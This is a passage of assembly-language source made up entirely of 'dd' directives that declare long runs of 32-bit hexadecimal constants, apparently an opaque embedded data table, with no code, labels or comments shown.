		dd 189825BCh, 68FC7237h, 351E65A0h, 7A41C38Ch, 21F56836h
		dd 5A29E9D0h, 71189210h, 61B4B091h, 287CDFh, 0A5022E93h
		dd 1E1FCC5h, 3AB0730Dh,	30CF2207h, 46000627h, 2FE408C2h
		dd 60AF296Bh, 5FB59831h, 6C75DF34h, 38D43505h, 7F805939h
		dd 6A607EAh, 0D7DD05CCh, 883D318Eh, 89650777h, 0A61684B9h
		dd 0B32D2819h, 7898ACh,	0CDA7B86Eh, 5E0CBC5h, 0CE8F20C0h
		dd 7C4958Ah, 11D336B5h,	5E54C094h, 3775C1E5h, 6F68E00Bh
		dd 0D1CC27EAh, 79D98D60h, 0BC22496h, 2E710ECBh,	0C87E1080h
		dd 0FB0468BAh, 0DA6B5D5Ch, 0EED1C480h, 999C302Eh, 4C4D3B11h
		dd 0DE986303h, 0B8E0720Bh, 3897136Bh, 59010436h, 0A9C766A4h
		dd 2C4661D7h, 80193BACh, 0FBFD7188h, 67633Ah, 51E1DE2h
		dd 9AEF775h, 0E6352C00h, 0DEF982B7h, 69510038h,	634AAD98h
		dd 0B9580644h, 0B40079ACh, 0A5089AE7h, 90124366h, 0A6F53B84h
		dd 9D10D78Fh, 977249A0h, 0A1007718h, 0B563FCE2h, 7A97F75h
		dd 0E7E4CDF8h, 6E00AF71h, 49C91D7Eh, 0FF73Ah, 520C111Bh
		dd 7E1F8597h, 121478BCh, 831D9h, 84ABB3FCh, 385C6E37h
		dd 0F4DC2DACh, 649607A4h, 249260A7h, 784BCEDAh,	0E3BBC8C2h
		dd 9E3AD85Ch, 734D2C19h, 0F78E8874h, 0D9AB0640h, 2BDD0017h
		dd 0F4C983FAh, 0D700EEEDh, 11BF2D59h, 7B50F4Eh,	0CD40FB22h
		dd 673A006Eh, 0A53807DDh, 10470058h, 0DE84F998h, 0AA432CA6h
		dd 927109F4h, 3FC20081h, 1D40D6ADh, 504CA061h, 866300B7h
		dd 0A8AAF5F9h, 0A350497h, 80A35ED0h, 2F08ECB4h,	480D84Bh
		dd 8023BC3Fh, 1E71ACFAh, 0B12A8803h, 0CC3220E0h, 48E684E0h
		dd 0D64A7D04h, 25F070A8h, 36076500h, 0CD1E58A0h, 495E008Ch
		dd 665C0D71h, 0F30069C1h, 329657BCh, 24F999h, 761558F0h
		dd 23BA4553h, 62D857Fh,	0F81C808Ah, 0E8AA6018h,	3E93E0DAh
		dd 0C04AEAE2h, 9F5362ECh, 78CC48h, 0A43AED1h, 3DD9E7h
		dd 3029072h, 0A928F41Ch, 54AB3700h, 62274899h, 450C0050h
		dd 9CB7D8F1h, 0CF4C4774h, 9F2300E6h, 0D97E7780h, 51D10011h
		dd 267F67E7h, 15003C8Ah, 0DDCE512h, 4B914896h, 98109095h
		dd 86E4E29Dh, 59B91200h, 48DEF254h, 33670EF4h, 0B740AADFh
		dd 0B54CE35Fh, 0E200BAEAh, 7E9EE602h, 1D0E2B82h, 0DC20FCDDh
		dd 38CD710h, 5FC85DB8h,	0C79042AFh, 7B0E905Eh, 0F904BF36h
		dd 0AF90BB81h, 0CE0C59h, 7C4B828Ch, 7F7AF896h, 0B187AF00h
		dd 977655C6h, 0A0C47D25h, 337B31F4h, 511BE39h, 787864BAh
		dd 0B07ABA2Eh, 20E23F00h, 0B5677E8h, 0EB825E0Ah, 0B9A66080h
		dd 5701744Ah, 0DE8CC2D1h, 99E8D281h, 60CC18F4h,	8D6E29FEh
		dd 6A00E372h, 24D1FA7h,	634443h, 377C4F90h, 0F6B22D9Bh
		dd 662A6700h, 0CAB823F1h, 0DD1E30B3h, 0FD0A7840h, 0E193C200h
		dd 7C4EC8B7h, 7F10087h
		dd 2CC6BD3Eh, 0F711AD3Ah, 5B04B2A8h, 452A8C13h,	0CB0EB003h
		dd 5C817209h, 7BDC75FEh, 0DC8D016Dh, 0BF7F5B86h, 289EF01Bh
		dd 626C6603h, 0F8BA9AA5h, 0F82B0E90h, 0A0670023h, 793883E0h
		dd 0A10711C0h, 47BF6A2Fh, 5CB61E41h, 7D156D4h, 1B8E0EECh
		dd 4B9E60F7h, 49098DF4h, 0F521DEh, 78A2C254h, 0FA2D017Dh
		dd 0D50851E9h, 92146081h, 0CFEDE01Eh, 0FC6D2700h, 1ADD4Fh
		dd 8A88ACD6h, 82BAF98Ch, 8705B11Eh, 0FB5C8E41h,	60CA6A3Dh
		dd 91341h, 2C33BE9Dh, 246B044Fh, 56E56D03h, 0E0BF9007h
		dd 0B92D6C2h, 37328380h, 0AE8E9A00h, 5C1C114Dh,	87E579E1h
		dd 0D095D89Ch, 809FA0C3h, 7BAC8Dh, 6B76A08Bh, 0EC5E3221h
		dd 0EAE77300h, 1C304BC0h, 2E430104h, 0D3C2E5B9h, 8BBE604Ah
		dd 9B8E6C03h, 12216584h, 0E03E4210h, 0B3E423E4h, 755F2904h
		dd 0ACC08C3Dh, 13DE1646h, 0D71C33h, 6238D16Dh, 54018E83h
		dd 50C56EDCh, 0A2706598h, 0D9A200D0h, 42CA430Eh, 0F00AB71h
		dd 856A87CDh, 58EBE080h, 910014C2h, 45A574FBh, 70FF48Eh
		dd 763D703Fh, 68EBE480h, 12F20017h, 0FA7AB325h,	385CAF79h
		dd 0EB10084h, 0F96FDE37h, 16440735h, 57E3D5E8h,	0B68FC369h
		dd 1F88290Bh, 492C073Ah, 3CC51A60h, 0BB090030h,	8B7AF1C0h
		dd 520094E2h, 43A86E41h, 915192h, 0B5E7D12Fh, 2CD80A7Ah
		dd 637C6204h, 48BD80BBh, 0BCCDCA0Fh, 0F30B1100h, 78749FB0h
		dd 60723600h, 0B94F0343h, 423705AAh, 8C35AC23h,	98C03F2Ch
		dd 0A3AFC71Dh, 0BA340F55h, 0B34281E4h, 0D505FDh, 3AFF9EF4h
		dd 0D2EF0F8Ch, 5726D622h, 0D33B58D4h, 4C31005Ah, 4DD72FE6h
		dd 61290020h, 0DD418DCh, 95A2A0Eh, 20AC3CC2h, 0F9E216D2h
		dd 0D402D71Ch, 0F2BBED00h, 60B40Ah, 89932C70h, 4DFFCE30h
		dd 8200B6ECh, 0F6CDD1EAh, 0B88477Eh, 4FE50923h,	0CB680C80h
		dd 0B5010553h, 0C86D0F32h, 2F9A02h, 50459260h, 4F010683h
		dd 0E2ECA3BAh, 0DBF4B459h, 24370339h, 0F394728Ch, 0C814B9E8h
		dd 485E2B00h, 36813CE9h, 0C0BA4FB1h, 6BD3BF78h,	0C0021A7Dh
		dd 41B0D9BEh, 44F740EAh, 0AC834871h, 86CCE401h,	8EB27648h
		dd 20FB28E8h, 0E30DA47Ch, 17A17654h, 3E13086h, 6AF61B5Bh
		dd 2E9F1EC1h, 61BBF847h, 4F02AC40h, 0DE7C0090h,	476B0D75h
		dd 0EB00F37Bh, 5CF12882h, 900F5D36h, 8C039538h,	0E5DB86C7h
		dd 30608CB2h, 0C3008411h, 0F4519645h, 16B58E48h, 0F27A3868h
		dd 95798070h, 79E2C02h,	0A454058Eh, 0BEBF4030h,	606917Fh
		dd 665184BAh, 0E8341C30h, 8A12009Eh, 0F8F9EFF6h, 0A262BC00h
		dd 67541BBh, 0A2A00D8h,	0C64C73BDh, 0DE0090BAh,	0DA87559Fh
		dd 2B15B3h, 0CF8DC938h,	210F2A5Ch, 0CDC16300h, 0CE0B2268h
		dd 0A0F01Eh, 0AB61BD5Dh, 0A6926C5Fh, 9695B700h,	10D2E183h
		dd 9DAD00DBh, 4738C8B4h, 600D325h, 320F6BBFh, 0C3B9A3h
		dd 8A3973B8h, 0C17827BDh, 480C885Ch, 9DDC0F71h,	0F347C07Eh
		dd 1F506467h, 0ACD06329h, 0CBEE005Eh, 0ABC35652h, 0AC6A9E03h
		dd 0E76787B1h, 0DC218100h, 13FCB4AEh, 1D648E84h, 0E86DB635h
		dd 7E480h, 902D42C3h, 4C333E1Eh, 1DA8F00Eh, 2C009705h
		dd 64E75C53h, 0B3D7F4Fh, 0EB60A543h, 0F579F044h, 0A851762Eh
		dd 7F2D0100h, 30111695h, 3C286DD6h, 2F16AD46h, 4B466B9h
		dd 7973D96h, 26824ACh, 2D482087h, 0DDFE84E4h, 3B61CF03h
		dd 80FBDE6Ch, 0C1195F52h, 0F45A9A68h, 5B0CD473h, 0E33F8A00h
		dd 4104F768h, 6E3C3FBCh, 37DC004Fh, 0D38CEEB1h,	0DBCD251Ch
		dd 409E9D0Bh, 0FEDC3AF4h, 0DAEE0013h, 1E03C97Ah, 49006C94h
		dd 528C9DB0h, 9AC5F45h,	0B8C780B7h, 1D907CE3h, 881DBA35h
		dd 131416CCh, 0B4F4965Ch, 477409h, 762BF3ACh, 0B91BDA30h
		dd 4AC7620Eh, 85FE89D7h, 1C80D4E4h, 0A1B17Eh, 7D0FC39Bh
		dd 75ECC6Ch, 2F414700h,	3FFDD9BBh, 8E680783h, 507F7E62h
		dd 33135DEBh, 6721E400h, 0A9385F03h, 9C20B5EFh,	0ACB14A8Bh
		dd 4BE82898h, 1576F3B8h, 0F203F00Eh, 3A00FD62h,	1B4236FDh
		dd 54390022h, 0BBF3790Fh, 4E008910h, 0A27A5864h, 6FB206h
		dd 0F242EEA4h, 0C9C279CEh, 6B490200h, 0EB237A74h, 653703ECh
		dd 0A9B33CE4h, 7CC092A2h, 0A005804Eh, 0A2D6D96Ch, 669B0E80h
		dd 99383853h, 0B8BA5802h, 0A40E93Fh, 933C96FFh,	0C584009Dh
		dd 0FC31C8D7h, 0DAE6FEh, 0D6CE9783h, 39D4AD5Bh,	23997B0Fh
		dd 382FC396h, 30879489h, 0BEE9B9F0h, 3893F46Bh,	4E00E301h
		dd 0BF312509h, 0B1007CEDh, 51BD0B76h, 0CA757E4h, 0A591C3FAh
		dd 95006D18h, 862B7248h, 4EF2600Ch, 0A9A0C5E1h,	0A6230008h
		dd 0A0088B89h, 18563832h, 0B53E985Ch, 87246385h, 91A200A6h
		dd 46177444h, 295434Ch,	0EE95337Dh, 3047CDFh, 4D716C3Dh
		dd 0D02EA2A1h, 0B02ECB5Ah, 8E3F1D9Ah, 0A040C02Bh, 0D78EC2D3h
		dd 0AB780E8Fh, 9E401FE1h, 0AFB54567h, 6272600h,	0B21174Ch
		dd 3BA1FAA9h, 65898D6Fh, 3478EB63h, 7A003398h, 5B3E98B6h
		dd 35E952Dh, 0FF166810h, 1A9B25B9h, 0F3F5EDE8h,	32005198h
		dd 0F2CE5067h, 0E5BAA2Ah, 6679F9DCh, 56C190A0h,	4707FAD1h
		dd 0EF055C8Bh, 51A60710h, 9368007Bh, 8CB1FDE7h,	3D05242Fh
		dd 0A2CD3490h, 0BFF4D980h, 308B7676h, 0AF76520Ch, 9902A424h
		dd 0B337F9C5h, 0B0B063C8h, 0A03E96h, 0B25F3AE5h, 3917BAA4h
		dd 912C5C00h, 23E2416Bh, 0B37400C9h, 8BBB5084h,	30009926h
		dd 21C64D7Eh, 3A4BF514h, 4CF4B595h, 661C0BCBh, 2246C5B2h
		dd 2A3DC274h, 312C347Ch, 1EED7902h, 106C78E3h, 56EB397h
		dd 0A0C88015h, 5C651480h, 0A8EF0068h, 0AEDD7E3Fh, 9F0004ABh
		dd 0A0340C25h, 2AF681h,	0F5B7DAFDh, 77AD0F05h, 0B0B09F3Bh
		dd 2E671028h, 0BB700003h, 16CE98D6h, 0E22489CAh, 440E3CB6h
		dd 376240F0h, 0A046691Eh, 5CB261E0h, 0E2C09885h, 2CD53778h
		dd 0C4CFC00Fh, 9BB7C0A4h, 38DBE20h, 84DC6681h, 0E7B81389h
		dd 0AB008339h, 0E1740A5Dh, 1D8CF2B3h, 402140F0h, 0D8E43CA7h
		dd 0DB7ED515h, 520ABC13h, 0DC4C9407h, 2B14E9B0h, 854F0F8Ah
		dd 28600C9Fh, 0A430BEB4h, 0CD19A107h, 0E0FB95C8h, 7162CA4h
		dd 29DD25FDh, 0C7597015h, 300324DAh, 632B8D3Ah,	0A998D8D8h
		dd 75F0023h, 0DACE3CEEh, 31E86CC0h, 48F09B30h, 1CF2F6h
		dd 5ADC2898h, 5574E60Ah, 711CF04h, 0A8A85B8Ah, 577A0E71h
		dd 80E4A088h, 40E0C7DAh, 943E2048h, 0E8730306h,	1318D9C6h
		dd 0A06D2675h, 3A7509F0h, 1E3C9DF4h, 0CFF905CEh, 65833969h
		dd 0AED1F89Bh, 0E3562640h, 650105C8h, 847A805Dh, 0A0C12125h
		dd 8D29587Bh, 3AEDE0h, 0CEBD093Fh, 2314F415h, 7900987Fh
		dd 0A6FFF061h, 0A2CA19h, 0AD205EB8h, 830E0F06h,	7F03A0B0h
		dd 0EFAE2975h, 0C11800A0h, 65DB453Bh, 0BD007CC2h, 0E698071Ah
		dd 0AA7638h, 5928D3A9h,	894BBB2Eh, 538B3A06h, 1E08EDCh
		dd 0C6A51E4Dh, 0F4D17190h, 9D1704h, 0F2187928h,	7339006Bh
		dd 5097EB2Bh, 2C009EF4h, 24C4A90Eh, 0FEF59A9Fh,	0AF234CF1h
		dd 0A8E23E7Ch, 2A629983h, 22FA8DC7h, 4F5EC8C0h,	0D907ACF2h
		dd 0BDFAECF1h, 0D68ABCA2h, 0EB8C0014h, 23C8CB6Bh, 76338839h
		dd 56B7EC07h, 2E000F28h, 18E9C592h, 50D26571h, 0BE003B42h
		dd 21CB1C7h, 109EA34h, 1223D311h, 0D0C57C3Eh, 0A90099E8h
		dd 4C31528Ah, 154B6Bh, 0BE1060B5h, 0A6DF67C3h, 0BDD432Eh
		dd 7E66E400h, 348688Bh
		dd 0AC7A4931h, 0C2FC744Fh, 78567298h, 0A03204Eh, 6BB790h
		dd 164E7E32h, 0AB8C8B8Ah, 0CA75F474h, 38DCF231h, 56ED6A38h
		dd 0F00DDEE0h, 67620043h, 0E67C8E9Ah, 0A5002044h, 2BFEBC3Eh
		dd 8732E8h, 0CF8BA8Dh, 7AB724AEh, 0E2BF1300h, 0AD0E923Ah
		dd 0F67B0038h, 31840FE4h, 0D4F8318h, 188084D5h,	0F07497h
		dd 7BDB2DFEh, 84AFE66Ah, 5C780639h, 0B9E304BAh,	48F83A12h
		dd 56FA177Bh, 0A53CE0F4h, 0C30411E8h, 0AF0E6230h, 0EE8ACC90h
		dd 0C80C000Dh, 23B2C11Ah, 0AD00CCAEh, 0D8394BF8h, 7394F6BBh
		dd 3C4BE78h, 0CB28176Fh, 609171A9h, 0C0E4422Ch,	0A5D5E10Fh
		dd 0A3C9A66Ch, 30236010h, 0B3CEE437h, 801CE500h, 8F10E04Eh
		dd 8488979Bh, 726409DCh, 48D4DC40h, 34380300h, 7ECF222Ah
		dd 8031E797h, 44006C3Ch, 14192ED8h, 1302E609h, 0C59E7392h
		dd 0F74413Eh, 74074C70h, 491E01BCh, 9F1134C8h, 1601F4C0h
		dd 24E7F24Ch, 0D9139D2Fh, 0A8C48207h, 8FD2EEE0h, 70E209h
		dd 9EFDDD5Dh, 682A3FBh,	0D5085700h, 0A7146440h,	80D75EF4h
		dd 26896624h, 23B7D900h, 0B2CFBBE8h, 0E6EF00ACh, 916C5A47h
		dd 0F6003620h, 62E46183h, 0F9ECBDh, 8ECD5DA6h, 3BB11DEAh
		dd 9F286D05h, 0F0A944ACh, 81F1661Fh, 198298DCh,	0EF083001h
		dd 77EAB100h, 9A88F628h, 4B594858h, 215C0307h, 9039E738h
		dd 7202E33Bh, 52F9B550h, 6444E00h, 0FBD4DCFh, 5FE70C2Eh
		dd 9440BE82h, 4FED5900h, 9C3695E5h, 440E01A7h, 8E2DC4FAh
		dd 0B9288091h, 3F86DD3Dh, 45DC0098h, 0E626949Ah, 0DB027959h
		dd 0D1927313h, 0B9CD8E9h, 86906C28h, 20B04414h,	9B05E898h
		dd 0CF18A980h, 4AC2E01Dh, 0D41769ABh, 0F94500BCh, 0FCBD7459h
		dd 92B32900h, 9AF51806h, 0D53F01CEh, 0EAE96B30h, 7C1060C0h
		dd 3ABF458h, 0AFAD2393h, 0D60B9890h, 29C9473h, 5A1D2D64h
		dd 5F3960FAh, 0EF00268h, 76C35D3Ch, 9D200058h, 5564E6A9h
		dd 836C5600h, 0B610D742h, 6A0D0ECAh, 82404F8Ch,	0EECF1379h
		dd 9E912200h, 0B76017F7h, 0ECC500CBh, 1DA34537h, 0E000A42Bh
		dd 3498D02Ch, 2EDA8A35h, 6E2DCDh, 0F294235Bh, 3B013638h
		dd 0D2248842h, 8403F5Ch, 0B5D6D022h, 30D03CAAh,	4A96F638h
		dd 0B8FE58h, 1F3ABA70h,	670634D4h, 0DE32C03Fh, 58E88EC2h
		dd 0E93BC8E8h, 323A962Ch, 2A5E5403h, 0F359A080h, 29AF18E1h
		dd 99BE3942h, 0F303469h, 0C71F0FD7h, 65412AB7h,	18987FDDh
		dd 0EDD570BBh, 4398EF0h, 3F0C8067h, 7C7E3870h, 95F70009h
		dd 1FB32154h, 30CCD3A1h, 3A728981h, 71E682ACh, 0B10D88F6h
		dd 68E585F1h, 28958060h, 3A44ED8Eh, 2D80F59Dh, 4927064Ch
		dd 267809E4h, 1600747Fh, 878DD99Eh, 0EC596004h,	0BEB200EDh
		dd 3A217FA1h, 25000F34h, 0F9FE8F95h, 19797Ch, 4D56AF1h
		dd 40487A29h, 167D9A00h, 0E3CB4951h, 0B7C4CFBh,	6B56DD00h
		dd 67A380DAh, 430FBFFAh, 2F44996Ch, 83132050h, 0F058CCh
		dd 3BF7D45Ah, 843C5BF9h, 0DDF5B800h, 1F2BA307h,	6C590093h
		dd 5F62D5ABh, 2F0F0354h, 72803921h, 1077D0E8h, 6AD15BCh
		dd 19508B2Ch, 9997C20h,	3C2AB24Ah, 0C9826874h, 801DFF6Bh
		dd 76771B08h, 18F30155h, 88B26654h, 801ED13Dh, 61DE4551h
		dd 1629D977h, 0FC39D790h, 5230399h, 4B9FF3h, 42C1F4A0h
		dd 623F8C43h, 14652118h, 0CC3B41h, 7232819h, 0EB3F090Ch
		dd 0B108F466h, 31290721h, 80BBE328h, 9BEA07F3h,	32CC106h
		dd 8C88B0Bh, 0B1BAAA51h, 0CFEB0C3Eh, 61A1817h, 43324035h
		dd 0E500106Bh, 0FD981326h, 110C0ECh, 0DDC2D74Eh, 0F8A4D06Ch
		dd 31D2168h, 871DC9E1h,	0D3463680h, 0E8B1C0h, 18278C2Eh
		dd 0A9E40D6Fh, 773C0A75h, 9AE5007Bh, 31240820h,	0E1830CC5h
		dd 0B2083509h, 48207A67h, 0A65708E0h, 74370389h, 8DDA4328h
		dd 0E67D15E8h, 0C02050C8h, 313E0812h, 86223546h, 8163A00h
		dd 0A12BBFECh, 72740FF9h, 7BE00CDBh, 0CE4CE7CDh, 10E57030h
		dd 1A3DF4Fh, 96D22A14h,	0BC22EFA6h, 20E6B008h, 2EA08875h
		dd 0DEFE4BDh, 0A1197E54h, 81714C68h, 0B5009E18h, 4B44239h
		dd 79B10640h, 62A40F75h, 0B020AA32h, 9D264A63h,	3B4B33Eh
		dd 0C7197A4Fh, 0C579009Ah, 8E41E940h, 0A30E15E6h, 8C123760h
		dd 232196h, 3B8BE958h, 7DDADFFCh, 0A4607629h, 2C1CA10Fh
		dd 32B107Fh, 18B1C8E9h,	70D049F8h, 0D6002554h, 31C3EEF0h
		dd 0F021582Fh, 3DD2002Ch, 0C7DC4E8h, 62003B24h,	0DCEF0BD1h
		dd 90E4A3h, 0E0C1ECFBh,	3C1C83C0h, 0EE4BD500h, 5D677321h
		dd 39A4B886h, 0F846D4h,	97799341h, 0A36F80D9h, 8F903801h
		dd 0D6F361ECh, 0CF7FF8F3h, 0C35C384Bh, 0FE6A007Eh, 6CA07D5Dh
		dd 84009A32h, 797B65F5h, 8BE13Ch, 714B3A87h, 4AB5CD64h
		dd 0E0062E00h, 0DBF315F8h, 946A00A0h, 0DE973DD8h, 9322F12h
		dd 271620C6h, 0D01BD017h, 0A251408Fh, 0F7D020CDh, 60EDA300h
		dd 0CD50A6F6h, 0F0640056h, 0D57C59DBh, 0A800B10Eh, 4AC13918h
		dd 3D7C766h, 0CA56A069h, 581C21C3h, 0DF801A6Dh,	9E5DD50Fh
		dd 0FD7F0039h, 0FF020844h, 1E5011EDh, 4B0005E4h, 3B40E456h
		dd 3370E67h, 64A0D869h,	2BB0319Ch, 0F2011B76h, 9EDD56BCh
		dd 9F49F54h, 8CAD00D4h,	6236631Ch, 0D1003E06h, 0BA429465h
		dd 0C51F07h, 737D5539h,	1E79D74Fh, 18884601h, 0F5535C2Ch
		dd 33D3D180h, 52911478h, 3E0F4776h, 86DADD2Fh, 13196C3Bh
		dd 0E060564Fh, 300D66Dh, 39E56EC7h, 436B5Ch, 25C4CC06h
		dd 15B26118h, 72A73E02h, 9F0A94C2h, 0C0277004h,	0AD100E60h
		dd 0F977418Ah, 9BBC60h,	799FCCB2h, 0A70AEE9Ch, 0BB9B61Dh
		dd 0E4C2AD40h, 32AC9668h, 3D29A242h, 1EA61820h,	0C17B70h
		dd 7AD2DE3Ch, 0CE374BB6h, 8858271Ch, 9352B180h,	82A45Fh
		dd 0DA879C23h, 5B0F49BCh, 81F25100h, 0C91BA2C0h, 7C862CE3h
		dd 9F823C5Dh, 629DAF8Ch, 0E063F080h, 933E6F9Eh,	0A177032Ah
		dd 0A0DFBA21h, 0E1103B90h, 1350AFCh, 0E851F952h, 609915D7h
		dd 73A5365h, 0DDE600E5h, 9D032A96h, 0B7C21CB4h,	1836E432h
		dd 0B5AB6469h, 24175900h, 0BBC1C676h, 505B010Ah, 0D1F36580h
		dd 40FDF253h, 3B0C88D0h, 8B80C3F4h, 0B831073Dh,	7D000BBAh
		dd 9F094434h, 0C2FA08h,	33FBBF4Ah, 392B3DADh, 0F31E5F18h
		dd 20DE14A0h, 57008669h, 0B342533h, 7929D6h, 45EBBE49h
		dd 0B1566E82h, 55C65807h, 53A06442h, 3F6763Bh, 0B8F4CBFAh
		dd 0EAEEED57h, 5D23DD01h, 17104171h, 0E8B60CD0h, 0EC18188Fh
		dd 742568C8h, 0B51AC400h, 0D81DBAE1h, 9A650CB3h, 4D980F22h
		dd 36DB5D00h, 0C7ED69BEh, 0DECD0144h, 1A98BAB3h, 0C48AF5FBh
		dd 4F00E26Fh, 86CB488h,	5C95FAD7h, 6800642Ch, 7453CDCAh
		dd 20013BEAh, 723CB440h, 8081F39Eh, 61794834h, 0F60C429h
		dd 0BA0E3F71h, 0D85AFEh, 0BD53DFFDh, 0EE77003Eh, 0D47A8301h
		dd 0B0004E07h, 7B50B95Bh, 0CDBB65h, 0FC7D3FE3h,	5A7CA7B4h
		dd 0DF0007E2h, 0A899656h, 838DCh, 3FC8A31Bh, 0F0611F12h
		dd 53AD7A00h, 0B4792318h, 68390906h, 3400105Ah,	0A4DBBDF1h
		dd 699AE700h, 3311603Ah, 22EA13CEh, 7580E8DEh, 0D5ACCA03h
		dd 881E16FFh, 4C058AB6h, 46006D50h, 26EA0DEEh, 4F000F45h
		dd 57200709h, 7BD86Ch, 2D545DFCh, 0C7385B10h, 0DC89403h
		dd 0E04BDA74h, 19C095h,	305A7AF2h, 432DE7E5h, 0AAD25C00h
		dd 85A23FB4h, 5FA00121h
		dd 90660F05h, 9460837Ch, 88DBBA3Bh, 6F2E47h, 4EE110D0h
		dd 378D3FE0h, 95687E63h, 971BF06Bh, 0C68C1C4Ah,	5C274F54h
		dd 633F8641h, 0A11EE417h, 560037ECh, 0C7238A25h, 0BFE706D4h
		dd 3D266640h, 0AE911A07h, 0F8CCD150h, 3E54006Ch, 6B3C5593h
		dd 0C11F7E9Ah, 81806678h, 3BC649B0h, 0F8C200DDh, 43F4F108h
		dd 531D2DBFh, 0E9C503F7h, 0DC00FC59h, 0D6744B6Ch, 31BF00D4h
		dd 0F77269C0h, 1300EECFh, 80D7B7CEh, 0DBAE79h, 2553368Fh
		dd 0A8614C7Dh, 819EB204h, 2C83E0D1h, 5C86E818h,	43A700D5h
		dd 3CF67412h, 21C39345h, 0F8AFCD21h, 1AE6E58h, 0A6404BECh
		dd 2E73AC9h, 88F08060h,	4DBA7A0Bh, 0B30024C6h, 0AE0F9CDFh
		dd 0FF3D2A2Dh, 0EF9D87AAh, 99A0EB1Ah, 4C150C6Dh, 1201AC07h
		dd 76B1B2C5h, 59A82062h, 9DFC5001h, 567E09C7h, 2C4434h
		dd 188D2FF7h, 0B9EF4765h, 67AA000h, 0B024D3BBh,	6B960090h
		dd 7CF6E766h, 48F65192h, 0DBDCB700h, 3BC1FB78h,	0B1272E23h
		dd 7C2484h, 0BE5E108Ch,	780EC619h, 8489F46Dh, 0AE0035F8h
		dd 878027B1h, 9123661Eh, 0FBA15B80h, 8828EDh, 251E31C1h
		dd 595836A8h, 0F87AE770h, 0E2629000h, 238F8975h, 0AD4E0022h
		dd 0C1A2CFAh, 0A500D29Fh, 0AE6DD4C9h, 2CE44DD1h, 2DB6F6h
		dd 0E7735267h, 970B68D8h, 0ED2E55h, 0AECB21AAh,	5922635h
		dd 0E3A30330h, 410379A7h, 9C66022Fh, 4F9BE8B8h,	32183A20h
		dd 56778898h, 0EA183625h, 1FF0DEDCh, 0BF9A0087h, 3E1930E8h
		dd 7F2A5283h, 8600F4F0h, 320B09D8h, 489AD6F1h, 8FE104EFh
		dd 0B02060EDh, 0FDB39B0Bh, 0F22C005Eh, 0CB27B62Ah, 34008369h
		dd 0AFD1E35h, 3F13F301h, 89AFAAF4h, 0F551DCh, 4BAE977Ch
		dd 0A10277B1h, 3C13CB12h, 22A72840h, 1E0B25D5h,	802009BAh
		dd 1D695A05h, 0BC00E54Fh, 3180AF0Dh, 1E4C8C8Bh,	8BE721A6h
		dd 1C001C15h, 3E5DBDD2h, 0B81EB73Ah, 21A0E060h,	5802C334h
		dd 35B088B2h, 11CE890Ah, 84EF22h, 3A53091Eh, 0D7570033h
		dd 0A03B2837h, 9E3AFCC6h, 40ED80C8h, 0DDF7E815h, 68F30078h
		dd 0DC547476h, 450038CEh, 897347A9h, 0D34467h, 8B039AA4h
		dd 0DE151D22h, 29820601h, 0F73EE8AAh, 3FC3360h,	99B05EAh
		dd 0B4F3C8ADh, 270B33A0h, 18D7E600h, 0D09081A2h, 0EFBE00A4h
		dd 1FAAA1C6h, 4C01EB4Dh, 0ED0FB998h, 4C70C025h,	0A5A700B1h
		dd 0F475F653h, 0BA009073h, 7191129Fh, 0EAF57910h, 0A842002Fh
		dd 0E3970B89h, 5001517Bh, 0ACD7FA1Eh, 0C441EA44h, 6F03E84h
		dd 0DD7DE3h, 4F611D2Dh,	0AFB5F137h, 0D4A88718h,	36A328h
		dd 298E41F2h, 0B03198A4h, 18901D78h, 0DCBA6809h, 842D8351h
		dd 0FBAD90FDh, 3895007Fh, 9D8AC549h, 0CB0162E2h, 215D4007h
		dd 0F040CE83h, 10E90Ah,	1C30DE96h, 61C8123Bh, 80B89358h
		dd 0D128E160h, 2E0B01A3h, 175B9B7Fh, 3B02D0BFh,	0FAB6A600h
		dd 0A8AD7CF7h, 911C00CAh, 0AE7261F3h, 0BE73DD28h, 0D956F600h
		dd 0DC43CFEDh, 46F9267Ch, 28BA12C0h, 4400F87Ch,	81D2C441h
		dd 1C3E5F0h, 3DB91D78h,	83B75636h, 6DD03928h, 0EC85A973h
		dd 67CAC440h, 3E9C0EBBh, 0C01DB075h, 0BEF0545Ch, 0F3003801h
		dd 11B47FC3h, 40A9C0h, 10D835B1h, 0AC6FB28Ah, 4E570F00h
		dd 0FB82BEF8h, 0EEE0263Eh, 306903ACh, 9C93568Eh, 0D0991000h
		dd 0ECC19D9Ah, 0FFCC1665h, 0E93B02DFh, 0F0E8B6D8h, 97EE7218h
		dd 0DA317707h, 9AC0EF25h, 98E4D220h, 30360F58h,	40D2E92Ah
		dd 9E5D6AE0h, 0AD0059EDh, 4EFA6D77h, 7FC03Eh, 3165D0ACh
		dd 9F2B0BCEh, 9D95AE07h, 7E30D90Ah, 0DC416382h,	57BCCF98h
		dd 85B76260h, 50E91B5h,	0E070F607h, 994B4002h, 0B8393FCFh
		dd 0FDFA383h, 6EE00B46h, 9403B110h, 66AD4B0Ah, 9E76A8CFh
		dd 965C0064h, 90958F5Fh, 0F0F218BEh, 0CAC050DEh, 0B469500Eh
		dd 4D730039h, 0B3FD9BA7h, 242CF69Fh, 498748C1h,	6EA77796h
		dd 653BA2A0h, 38B002Ch,	3D2B471Fh, 0E503229h, 6C008DF8h
		dd 6F755BD0h, 4E48121h,	0CC5EF8CAh, 9B48C0B9h, 4D031947h
		dd 82BD86DCh, 6071EDh, 0FBB6B8C5h, 0A7A553C3h, 0D4AA9C26h
		dd 2E20D200h, 60043Bh, 0C0199B5Ch, 1D31D01Fh, 0C8053800h
		dd 9899A1CDh, 3F82F6BAh, 8F0048FAh, 0AF36E97Ah,	4C1D6B13h
		dd 0E34E7D09h, 21A340CBh, 96D1B1h, 0D3B686D0h, 1832A2Fh
		dd 0BE4DA000h, 147C29C5h, 0EE3400E7h, 0F21A2B8h, 83743073h
		dd 0C08B5124h, 2E1E803Fh, 3D1533B7h, 495D0B2Ah,	9A077A72h
		dd 0F0F89032h, 2467FC3Ah, 5E900570h, 0F4AF28h, 4211199Ah
		dd 0E3D9AD07h, 0BB9FF700h, 0A2BD7D9Dh, 977F2454h, 5A960008h
		dd 0E429B70h, 7700BE71h, 18914783h, 0B1D5C1h, 0C0BCB85h
		dd 2D81EDBFh, 0C3128C03h, 32C6B7Dh, 0D21689Eh, 9DA32275h
		dd 292BA098h, 0FACC8E05h, 0CD0897Bh, 91653F7h, 0CF762C08h
		dd 5A97E4A3h, 0CAC980BCh, 0D90092BEh, 34E2E01h,	983E563h
		dd 8BE7A7F9h, 79D088Fh,	10C58208h, 0C381B7C2h, 0F134601h
		dd 4F5E9176h, 49C1FB20h, 6000EC2Fh, 0A3FF0E29h,	58E0B311h
